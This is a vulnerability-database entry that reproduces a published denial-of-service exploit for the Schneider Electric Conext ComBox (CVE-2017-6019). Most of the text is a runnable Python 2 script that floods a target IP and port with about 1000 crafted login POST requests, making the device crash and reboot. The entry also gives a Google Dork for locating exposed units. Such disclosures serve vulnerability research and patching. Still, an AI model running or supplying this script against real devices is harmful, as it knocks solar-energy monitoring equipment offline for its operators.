发布 2017-03-02 漏洞条目

Conext ComBox 865-1058 – Denial of Service

Exploit Source

#Exploit Title: Conext ComBox - Denial of Service (HTTP-POST)

#Description: The exploit cause the device to self-reboot, constituting a denial of service.

#Google Dork: "Conext ComBox" + "JavaScript was not detected" /OR/ "Conext ComBox" + "Recover Lost Password"

#Date: March 02, 2017

#Exploit Author: Mark Liapustin & Arik Kublanov

#Vendor Homepage: http://solar.schneider-electric.com/product/conext-combox/

#Software Link: http://cdn.solar.schneider-electric.com/wp-content/uploads/2016/06/conext-combox-data-sheet-20160624.pdf

#Version: All firmware versions prior to V3.03 BN 830

#Tested on: Windows and Linux

#CVE: CVE-2017-6019

# Use this script with caution!

# Mark Liapustin: https://www.linkedin.com/in/clizsec/

# Arik Kublanov: https://www.linkedin.com/in/arik-kublanov-57618a64/

# =========================================================

import subprocess

import os

import sys

import time

import socket

# =========================================================

print 'Usage: python ComBoxDos.py IP PORT'

print 'Number of arguments:', len(sys.argv), 'arguments.'

print 'Argument List:', str(sys.argv)

print "ComBox Denial of Service via HTTP-POST Request"

global cmdosip

cmdosip = str(sys.argv[1])

port = int(sys.argv[2])

print "[!] The script will cause the Conext ComBox device to crash and to reboot itself."

print "Executing...\n\n\n"

for i in range(1, 1000):

try:

cmdosdir = "login.cgi?login_username=Nation-E&login_password=DOS&submit=Log+In"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((cmdosip, port))

print "[+] Sent HTTP POST Request to: " + cmdosip + " with /" + cmdosdir + " HTTP/1.1"

s.send("POST /" + cmdosdir + " HTTP/1.1\r\n")

s.send("Host: " + cmdosip + "\r\n\r\n")

s.close()

except:

pass

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